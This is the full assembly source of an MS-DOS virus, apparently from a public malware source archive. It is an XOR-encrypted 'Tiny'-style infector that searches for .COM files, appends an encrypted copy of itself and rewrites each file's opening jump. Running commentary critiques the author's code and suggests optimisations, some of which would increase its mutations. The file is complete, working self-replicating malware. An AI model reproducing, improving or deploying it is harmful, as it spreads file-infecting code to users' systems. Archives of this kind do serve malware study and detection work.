MalwareSourceCode/MSDOS/0 - 9 Index/Virus.MSDOS.Unknown.334.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

253 lines
11 KiB
NASM

muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the original TINYs, where the id was 7, 8, 9. The author can
; easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ; Standard location-finder
oldtrick: pop si
; The following statement is a bug -- well, not really a bug, just
; extraneous code. The value pushed on the stack in the following
; line is NEVER popped off. This is messy programming, as one byte
; could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ; Decrypt virus
call savepsp ; and save the PSP
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
; See the procedures at the end for further details.
jmp short findencryptval ; Go to the rest of the virus
; The next line is another example of messy programming -- it is a
; NOP inserted by MASM during assembly. Running this file through
; TASM with the /m2 switch should eliminate such "fix-ups."
nop
; The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ; Save handle
; The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
; Once again, poor programming style, though there's nothing wrong
; with the code.
mov bx,offset startencrypt
add bx,si
; Continueencrypt is implemented as a jmp-type loop. Although it's
; fine to code it this way, it's probably easier to code using the
; loop statement. Upon close inspection, one finds the loop to be
; flawed. Note the single inc bx statement. This essentially makes
; the encryption value a a byte instead of a word, which decreases
; the number of mutations from 65,535 to 255. Once again, this is
; just poor programming, very easily rectified with another inc bx
; statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
; to load up the encryption value before the loop, and replace the
; three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
; The next two lines should be executed BEFORE continueencrypt. As
; it stands right now, they are recalculated every iteration which
; slows down execution somewhat. Furthermore, the value calculated
; is much too large and this increases execution time. Yet another
; improvement would be the merging of the mov/add pair to the much
; cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ; Calculate end of
add cx,si ; encryption: Note
cmp bx,cx ; the value is 246
jle continueencrypt ; bytes too large.
pop bx
ret
writerest: ; Tack on the virus to the
call encrypt ; end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ; Write starting from the id
int 21h ; word
call encrypt
ret
startencrypt:
; This is where the encrypted area begins. This could be moved to
; where the ret is in procedure writerest, but it is not necessary
; since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ; Get random #
int 21h ; CX=hr/min dx=sec
; The following chunk of code puzzles me. I admit it, I am totally
; lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ; Check to see if any
cmp dl,0 ; part of the encryption
je findencryptval ; value is 0 and if so,
cmp dh,0 ; find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ; Set up bp for
add bp,103h ; jmp later
lea dx,[si+filemask] ; '*.COM',0
xor cx,cx ; Attributes
mov ah,4Eh ; Find first
tryanother:
int 21h
jc quit_virus ; If none found, exit
mov ax,3D02h ; Open read/write
mov dx,9Eh ; In default DTA
int 21h
mov cx,3
mov bx,ax ; Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ; Read 3 bytes
cmp byte ptr [di],0E9h ; Is it a jmp?
je infect
findnext:
mov ah,4Fh ; If not, find next
jmp short tryanother
infect:
mov ax,4200h ; Move file pointer
mov dx,[di+1] ; to jmp location
mov [si+offset oldjmp],dx ; and save old jmp
xor cx,cx ; location
call int21h
jmp short skipcheckinf
; Once again, we meet an infamous MASM-NOP.
nop
; I don't understand why checkinf is implemented as a procedure as
; it is executed but once. It is a waste of code space to do such
; a thing. The ret and call are both extra, wasting four bytes. An
; additional three bytes were wasted on the JMP skipping checkinf.
; In a program called "Tiny," a wasted seven bytes is rather large
; and should not exist. I have written a virus of half the length
; of this virus which is a generic COM infector. There is just too
; too much waste in this program.
checkinf:
cmp word ptr [di],990h ; Is it already
je findnext ; infected?
; The je statement above presents another problem. It leaves stuff
; on the stack from the call. This is, once again, not a critical
; error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ; Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ; read 2 bytes
call checkinf
; The next check is extraneous. No COM file is larger than 65,535
; bytes before infection simply because it is "illegal." Yet ano-
; ther waste of code. Even if one were to use this useless check,
; it should be implemented, to save space, as or dx, dx.
cmp dx,0 ; Check if too big
jne findnext
cmp ah,0FEh ; Check again if too big
jae findnext
mov [si+storejmp],ax ; Save new jmp
call writerest ; location
mov ax,4200h ; Go to offset
mov dx,1 ; 1 in the file
xor cx,cx
call int21h
mov ah,40h ; and write the new
mov cx,2 ; jmp location
lea dx,[si+storejmp]
call int21h
; I think it is quite obvious that the next line is pointless. It
; is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ; Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ; Read file
; I do not understand why all the int 21h calls are done with this
; procedure. It is a waste of space. A normal int 21h call is two
; bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
; Note: The comments for savepsp also apply to restorepsp.
; This code could have easily been changed to a set active DTA INT
; 21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
; The following is a bug. It should be
; mov cx, 50h
; since the author decided to use words instead of bytes.
mov cx,100h
push si
; The loop below is dumb. A simple rep movsw statement would have
; sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ; Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ; Waste of one byte
buffer db 00h, 00h, 01h ; Waste of three bytes
storejmp dw 0 ; Waste of two bytes
; endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ; Should actually be
idontknow3 db 2ch dup (?) ; 100h bytes long.
veryend: ; End of encryption
muttiny ends
end start